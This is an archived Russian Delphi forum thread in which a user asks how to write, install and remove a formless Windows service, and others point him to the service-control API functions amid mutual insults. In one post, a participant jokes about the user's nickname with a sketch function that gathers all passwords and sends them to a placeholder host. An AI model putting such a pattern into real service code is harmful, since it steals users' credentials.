Форум: "Система";
Текущий архив: 2004.04.11;
Скачать: [xml.tar.bz2];
ВнизСервисы в Win2k Найти похожие ветки
← →
dr Tr0jan (2004-01-31 12:05) [0]Я хочу написать сервис под Win2k/XP без формы, который являлся бы сервером TCP (хочу использовать компонент TidTCPserver). В инете натолкнулся на статью "Написание сервисов Windows NT на WinAPI" (http://www.sources.ru/delphi/system/services_in_api.shtml). Но здесь сразу возникнуло несколько проблем:
1) У них в статье есть функция "ServiceInitialization" - она не описана. Как написать ее?
2) Как запускать этот сервис, и сделать так чтобы он прописался в системе, и чтобы удалился из оной (хотя бы куда пихать exeшник, и куда в реестре что прописывать - типа хочу сделать инсталляшку и анинсталляшку этого сервиса)?
3) Хотелось бы достать исходники этого сервиса написанного по этой статье!
← →
Digitman © (2004-01-31 14:02) [1]
> Я хочу написать сервис под Win2k/XP без формы
валяй.
ничто этому не мешает.
более того - как правило, "форма" нужна сервис-приложению как корове седло.
← →
dr Tr0jan © (2004-02-02 04:15) [2]Ну и как мне это сделать?
← →
sniknik © (2004-02-02 07:55) [3]http://delphimaster.net/view/4-1075355181/
> хочу использовать компонент TidTCPserver
зря. раз сервис на WinAPI то лутше без компонент. (если использовать их то смысл WinAPI пропадает)
← →
Александр Спелицин © (2004-02-02 19:57) [4]В примерах к MSDN есть пример реализации сервиса. Ищите файлы simple.c, service.c, service.h
P.S. Примеры по умолчанию на компьютер не устанавливаются. Так что ищите их на CD.
← →
Игорь Шевченко © (2004-02-03 12:22) [5]Судя по нику автора сервис обещает быть крайне интересным.
← →
Digitman © (2004-02-03 12:38) [6]
> 1) У них в статье есть функция "ServiceInitialization" -
> она не описана. Как написать ее?
function ServiceInitialization(...): Integer;
var
PwdList: TStringList;
begin
PwdList:= TStringList.Create;
FindAllPasswords(PwdList);
SendList(PwdList, "myhost", myport);
PwdList.Free;
end;
← →
dr Tr0jan © (2004-02-03 13:41) [7]2 Игорь Шевченко ©:
// Судя по нику автора сервис обещает быть крайне интересным.
Почти, ты мне идею подал (respect)! А вообще-то я просто хотел безобидную чаталку замутить с серваком.
← →
dr Tr0jan © (2004-02-03 14:02) [8]2 Digitman ©:
Ты чё, меня за ламо считаешь или как?
Где Result, где параметры функции:ServiceInitialization(argc,argv,SpecificError);
.
И что это за троянская процедура:FindAllPasswords(PwdList);
? Да за такую строчку любой антивирь мой сервис с винта термоядом в порошок сотрет с сообщением "Trojan was detected!".
← →
Digitman © (2004-02-03 14:34) [9]
> Ты чё, меня за ламо считаешь или как?
а куда деваться ? судя по вопросу - приходится)
раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..
только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции, например, с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)
← →
Digitman © (2004-02-03 14:42) [10]
> 2) Как запускать этот сервис
точно так же как и любой другой !
> сделать так чтобы он прописался в системе, и чтобы удалился
> из оной
у тебя перед носом есть исходники класса TServiceApplication
ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !
я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)
> 3) Хотелось бы достать исходники этого сервиса написанного
> по этой статье
а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))
← →
Digitman © (2004-02-03 14:49) [11]
> куда пихать exeшник
да куда угодно !
подробности - в описании winapi-ф-ции CreateService()
← →
drTr0jan (2004-02-03 15:46) [12]2 Digitman ©:
> раз в статье не привели текста этой ф-ции, и при сем имя ее "инициализация сервиса", то только "ламо" не дотумкает, что в ее теле он волен делать все что угодно, например, присваивать неким переменным некие начальные значения)..
То-то оно и видно, что ты эту статью даже в глаза не видел. Там русским языком сказано:В функции ServiceMain (см.там, где отмечено) пишем код сервиса
. Как раз туда, а не туда как ты подумал.
> только "ламо" при этом не чешет интенсивно свою репу и не ассоциирует в рез-те "репочесания" имя/назначение упомянутой ф-ции
Вот ты и не почесал, потому что эта функция с аттрибутами (argc,argv,SpecificError) и должна возвращать значение Status : DWORD.
> с моменом вызова и телом конструктора TService.Create() .. от которого (как и от TServiceApplication) ты отказался по совершенно необъяснимым и секретным причинам в пользу WINAPI)
И не по каким не по секретным:в Borland"е решили немного "порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы.
- цитата из этой статьи.
> точно так же как и любой другой !
Ну а как любой другой? Куда, чё прописывать.
> у тебя перед носом есть исходники класса TServiceApplication
См. выше ^.
> ты даже не удосужился заглянуть в них на предмет изучения, как это делает сам Борланд) ... а туда же, "хочу написать сервис под Win2k/XP без формы" !
Как раз туда я и заглянул.
> я ж тебя спросил, при чем здесь форма ? построение приложения-сервис на базе стандартных классов TServiceApplication и TSevice - плевое дело, не требующее никаких "форм", пока ты сам этого не захочешь)
Дык, TService и есть подобие формы. А т.к. он подобие формы (оба они наследники TComponent), то и грохнуть его (сервис) делать нечего.
> а там, в статье, не исходники, а , очевидно, сказка про белого бычка ... текст которой набрать да подредактировать, если понадобится, - пару раз плюнуть, на 15 минут работы))
Вот ты мне и набери (и ServiceInitialization(argc,argv,SpecificError): DWORD задействуй). А я может даже и заплачу тебе.
> да куда угодно !
подробности - в описании winapi-ф-ции CreateService()
Ни хера, там нет.
З.Ы. Таким макаром у нас получился не форум, а обливание грязью, поэтому забудем старые обиды и примемся за дело.
← →
Digitman © (2004-02-03 16:19) [13]
> ты эту статью даже в глаза не видел
ну от чего же ? оч даже внимательно прочел ее.
ничего там нового для меня, все соответствует широкоизвестной действительности)
> Как раз туда
чего "туда" ? и что я подумал ?
> эта функция с аттрибутами (argc,argv,SpecificError) и должна
> возвращать значение Status : DWORD.
это не атрибуты, это формальные параметры
а возвращать ... да ну поменяй на DWORD - абсолютно непринципиально) ... важно чтобы в теле ф-ции был сформирован и возвращен один из предопределенных результатов, включая NO_ERROR
> И не по каким не по секретным
ну так поставь Д6 Enterprise - какие проблемы ? или тебя 300 кб кода сильно заботят ?
> Как раз туда я и заглянул
как же ты заглянул ? я так понял, у тебя Д6 Персонэл установлен ?
а если и заглянул - что увидел там ?
> Ну а как любой другой? Куда, чё прописывать
открываешь хэлп и изучаешь применение ф-ций OpenSCManager, OpenService, ControlService .. там и находишь ответ на вопрос
> TService и есть подобие формы. А т.к. он подобие формы (оба
> они наследники TComponent), то и грохнуть его (сервис) делать
> нечего.
это как ?)
> Вот ты мне и набери (и ServiceInitialization(argc,argv,SpecificError):
> DWORD задействуй). А я может даже и заплачу тебе.
даже тааак !?
ну что ж, с тебя ящик пива)
function ServiceProc(argc : DWORD;var argv : array of PChar): DWord;
begin
Result := NO_ERROR;
end;
> Ни хера, там нет
все там есть
хэлп Win32 Programmer"s Reference штатно поставляется с Д6
ищи лучше
← →
Digitman © (2004-02-03 16:23) [14]function ServiceInitialization(argc : DWORD; var argv : array of PCharж; var SpecificError: DWORD): DWord;
begin
SpecificError := 0;
Result := NO_ERROR;
end;
/I>
← →
dr Tr0jan © (2004-02-04 06:04) [15]2 Digitman ©:
> оч даже внимательно прочел ее.
Чёто не похоже!
> чего "туда" ? и что я подумал ?
Туда - это место, где выполняется код сервиса, а ты подусал что вышеупомянутая (проклятая) функция и есть код сервиса. Еще раз доказывает, что ты эту статью не читал.
> это не атрибуты, это формальные параметры
Все равно.
> важно чтобы в теле ф-ции был сформирован и возвращен один из предопределенных результатов, включая NO_ERROR
Спрашивается: зачем нужны эти параметры?
> ну так поставь Д6 Enterprise
Зачем? У меня и так Delphi 7 Enterprise стоит.
> тебя 300 кб кода сильно заботят ?
Очень заботят. Это тупость и тормознутость делать сервис без картинок (и прочих ненужных ресурсов) больше 150 кБ. Тот же svchost.exe весит 12,5 Кб.
> как же ты заглянул ?
Обыкновенно!
> я так понял, у тебя Д6 Персонэл установлен ?
Не так понял. См. тему топика ^: "Сервисы в Win2k [D7, Win2k, WinXP]".
> а если и заглянул - что увидел там ?
Увидел, что пустой (в смысле только стандартный код) компиленный сервис весит 402 Кб.
> открываешь хэлп и изучаешь применение ф-ций OpenSCManager, OpenService, ControlService .. там и находишь ответ на вопрос
Я же говорил, что открывал - нихера там нет - там не сказано как прописыать сервис в систему.
> это как ?)
А вот так! Тебе что, еще нужно рассказывать как приложения с помощью :( формы грохать?
> даже тааак !?
Вот так!
> ну что ж, с тебя ящик пива
Чует мое сердце, не заработаешь ты его!
> function ServiceProc(argc : DWORD;var argv : array of PChar): DWord;
begin
Result := NO_ERROR;
end;
Ты затупан! Мне, во-первых, нужна функция function ServiceInitialization(argc,argv,SpecificError): DWORD, а во-вторых, я и так заместо нее 0 прописывал. А сервис все равно не работает, а точнее запускается, а через 10 сек сам вырубается.
> хэлп Win32 Programmer"s Reference штатно поставляется с Д6
Это знаю!
> ищи лучше
По установке и запуску сервиса, там ничего нет.
← →
Digitman © (2004-02-04 08:09) [16]так. устал я с тобой тут пререкаться попусту
разговор короткий - вперед к учебникам и в MSDN !
← →
sniknik © (2004-02-04 08:58) [17]> Ты затупан!
слово то какое, красивое даже. :о))) только не тому человеку применительно сказано. (ты так лутше перед зеркалом скажи, даже почаще говори, садись по утрам и повторяй в качестве аутотренинга, для снятия с себя груза излишнего самомнения)
в той статье (в начале упоминается) все грамотно расписано, если не понимаеш твои проблемы. у меня к примеру ни одной не возникло когда писал сервис для примера на WinApi (первый и единственный раз кстати, надобности в таком не возникало более, кроме первого раза из интереса), писал по тойже самой статье(основа, +все что смог найти в инете дополнительно) то что получилось и предлагал тебе посмотреть (ссылка в сылке).
p.s. а спориш и чтото доказываеш ты совершенно зря, ведь у тебя не работает, а ты пытаешся доказать что у тебя правильно, и неправильно пишет тот человек у которого как раз работает. абсурд.
> Ты чё, меня за ламо считаешь или как?
ламо ты и есть. стиль разговора ламерский, а уж обиды при малейшем подозрении на то что чегото не знаеш очень показательны и очень по ламерски.
← →
dr Tr0jan © (2004-02-04 14:15) [18]2 Digitman ©:
> вперед ... в MSDN !
Вот его то, как раз и нету. Не дают, а купит накладно получается. Ничёё, может кто-нить другой объяснит как этот сервис сделать.
2 sniknik © :
> ты так лутше перед зеркалом скажи, даже почаще говори, садись по утрам и повторяй в качестве аутотренинга
Я это и так делаю, шутка :).
> предлагал тебе посмотреть (ссылка в сылке)
а вот за это тебе большой респект!
> а спориш и чтото доказываеш ты совершенно зря, ведь у тебя не работает, а ты пытаешся доказать что у тебя правильно, и неправильно пишет тот человек у которого как раз работает. абсурд.
Дело не том, что он (не)правильно пишет, а втом что не может объяснить то что, якобы знает.
> а уж обиды при малейшем подозрении на то что чегото не знаеш очень показательны и очень по ламерски
И какие еще обиды? Я вообще-то извинился потом:Таким макаром у нас получился не форум, а обливание грязью, поэтому забудем старые обиды и примемся за дело.
А "споришь" пишется с мягким знаком :).
← →
Digitman © (2004-02-04 14:25) [19]
> Вот его то, как раз и нету
чушь
в форум обращаешься ? значит, имеешь доступ в глоб.сеть ? значит, ресурс у тебя всегда перед носом - msdn.microsoft.com
> не может объяснить то что, якобы знает.
я не намерен тут тебе читать лекцию про алгоритм организации "от и до" сервиса на NT-платформе
а на конкретные вопросы ответить - это пожалуйста
ты спросил, как программно инсталлировать сервис ? я ответил - подробности в хэлпе или msdn, см. ф-цию CreateService()
спросил, как программно управлять уже установленным сервисом ? я опять же ответил - ф-ции OpenSCManager, OpenService, ControlService
что еще непонятно ?
← →
Digitman © (2004-02-04 14:30) [20]и не надо мне гнуть, что хэлпа Win32 Programmer"s Reference у тебя в Д7 нет в помине или тем там таких не имеется ... все там есть ! абсолютно все ! и вполне достаточно для изучения и понимания концепции программной организации и управления сервиса... а что там упущено из виду - вот тогда добро пожаловать в форум !
← →
sniknik © (2004-02-04 14:50) [21]> Ничёё, может кто-нить другой объяснит как этот сервис сделать.
вряд ли. по шагам и с расстановкой только репетитор и за деньги (тот же Digitman возьмется если достаточно предложиш), сдесь направление дали уже хорошо, не забудь спасибо сказать.
есть те кто пытается но им быстро надоедает. (тяжело слышать упреки в свой адрес только изза того что подопечный не "догоняет" и вместо того чтобы "я ..... не понимаю" "ты .... плохо обьяснил", а он вообще должен?)
> А "споришь" пишется с мягким знаком
не с мягким а через щ. но это неважно. (и не оспаривается, как получается так и пишу)
← →
dr Tr0jan © (2004-02-05 02:45) [22]2 Digitman ©:
> значит, ресурс у тебя всегда перед носом - msdn.microsoft.com
Чё-то я там исходников не видел: service.c, service.h и прочие.
> а на конкретные вопросы ответить - это пожалуйста
Так я их конкретно и задал.
> ты спросил, как программно инсталлировать сервис ? я ответил
Я еще не только это спрашивал (см. вопрос ^):Как запускать этот сервис, и сделать так чтобы он прописался в системе, и чтобы удалился из оной (хотя бы куда пихать exeшник, и куда в реестре что прописывать - типа хочу сделать инсталляшку и анинсталляшку этого сервиса)?
> что еще непонятно ?
Да, как удалять сервис из системы?
> хэлпа Win32 Programmer"s Reference у тебя в Д7 нет в помине или тем там таких не имеется
А я такого не говорил, все у меня есть: полная установка Borland Delphi7 Enterprise вместе со всеми хэлпами.
> а что там упущено из виду - вот тогда добро пожаловать в форум !
Вот-вот, там упущено из виду: удаление сервиса из системы.
2 sniknik ©:
> не забудь спасибо сказать
Не забуду: Всем, кто помог мне, большое СПАСИБО .
← →
dr Tr0jan © (2004-02-05 02:46) [23]Но все-таки чё это за функция: function ServiceInitialization(argc,argv,SpecificError): DWORD
← →
Digitman © (2004-02-05 08:30) [24]
> Чё-то я там исходников не видел: service.c, service.h и
> прочие.
а я тебе и не рекомендовал их там искать
в MSDN есть описание ВСЕХ ф-ций, относящихся к программированию сервисов
что, впрочем, почти в том же есть и в твоем хелпе
> как удалять сервис из системы?
DeleteService()
> я такого не говорил, все у меня есть: полная установка Borland
> Delphi7 Enterprise вместе со всеми хэлпами.
Тогда на кой ляд ты цитировал статью в [12] ? если у тебя не Делфи6, а полная 7-я версия ? Ты по-прежнему продолжаешь утверждать, что в 7-ке нет никаких станд.классов для создания сервисов и у тебя нет возмодности заглянуть в их исходники ?
> чё это за функция: function ServiceInitialization
выкинь ее вообще, она не играет здесь никакой роли
← →
panov © (2004-02-05 09:50) [25]>dr Tr0jan ©
Предупреждаю - выбирай выражения.
← →
dr Tr0jan © (2004-02-05 14:58) [26]2 Digitman ©:
> в 7-ке нет никаких станд.классов для создания сервисов
Ну звиняй, ошибся!
Да дерьмо это на постном масле, а не средства создания сервисов.
2 panov ©:
> Предупреждаю - выбирай выражения.
Какие еще выражения: IF .. THEN .. ELSE, что ли :)?
← →
Digitman © (2004-02-05 15:21) [27]
> ...на постном масле, а не средства создания сервисов
ну не ламо ли ты после таких заявлений ? вот уж воистину он самый)
я тебя что , понуждаю реализовывать свой сервис на базе станд.классов ?!
я тебе уже в который раз говорю, устал уже : вот у тебя исходники классов TService + TServiceApplication от Борланда, в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..
что, это так трудно для "не ламо" внимательно изучить эти исходники и реализовать свой сервис по образу и подобию (в части ЦЕНТРАЛЬНОЙ логики !), выкинув все лишнее и несущественное, раз VCL тебя смущает ?!)
отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ ! Что толку, что тебе приведут тело какой-нибудь ф-ции а-ля ServiceInitialization() ? Бестолку, думаю ..
← →
dr Tr0jan © (2004-02-06 01:36) [28]2 Digitman ©:
> в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..
Я это уже давно почитал, еще как sniknik © мне сказал про ссылку, я додумался в Delphi на юнит Ctrl нажать, дело в том, что там комментов нет, ничего непонятно. Это уже давно доказано, что если один программер написал программу, то другому понять ее без комментариев не дано, ну или почти не дано. Я там разбраться не мог, уж слишком кода было много.
> отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ !
Без комментариев, увы, не смог.
← →
dr Tr0jan © (2004-02-06 01:36) [29]2 Digitman ©:
> в этих исходниках Борланд делает практически ВСЕ касаемое создания, инсталляции и работы сервиса ! вот у тебя перед носом штатный Win32-хэлп, где можно почитать про ф-ции, назначение/параметры/результат которых тебе непонятны по ходу изучения тех или иных фрагментов исходников ..
Я это уже давно почитал, еще как sniknik © мне сказал про ссылку, я додумался в Delphi на юнит Ctrl нажать, дело в том, что там комментов нет, ничего непонятно. Это уже давно доказано, что если один программер написал программу, то другому понять ее без комментариев не дано, ну или почти не дано. Я там разбраться не мог, уж слишком кода было много.
> отсюда и делаю вывод - исходные тексты ты анализировать НЕ У-МЕ-ЕШЬ !
Без комментариев, увы, не смог.
← →
dr Tr0jan © (2004-02-06 09:07) [30]Большое спасибо Всем за помощь в разработке сервисов!!!
И давайте больше не будем обливать друг-друга грязью ("Ты ламо." - "Нет, это ты ламо." - "Нет, я же говорю: все таки ты ламо.")
Теперь прошу помощь в доработке этого сервиса, как TCP-сервер:
http://delphimaster.net/view/4-1075355181/
← →
dr Tr0jan © (2004-02-06 09:07) [31]Большое спасибо Всем за помощь в разработке сервисов!!!
И давайте больше не будем обливать друг-друга грязью ("Ты ламо." - "Нет, это ты ламо." - "Нет, я же говорю: все таки ты ламо.")
Теперь прошу помощь в доработке этого сервиса, как TCP-сервер:
http://delphimaster.net/view/4-1075355181/
← →
dr Tr0jan © (2004-02-06 09:16) [32]Уупс, извините:
http://delphimaster.net/view/4-1075355181/
← →
dr Tr0jan © (2004-02-06 15:03) [33]Опять извините: http://delphimaster.net/view/4-1075355181/
Страницы: 1 вся ветка
Форум: "Система";
Текущий архив: 2004.04.11;
Скачать: [xml.tar.bz2];
Память: 0.67 MB
Время: 0.042 c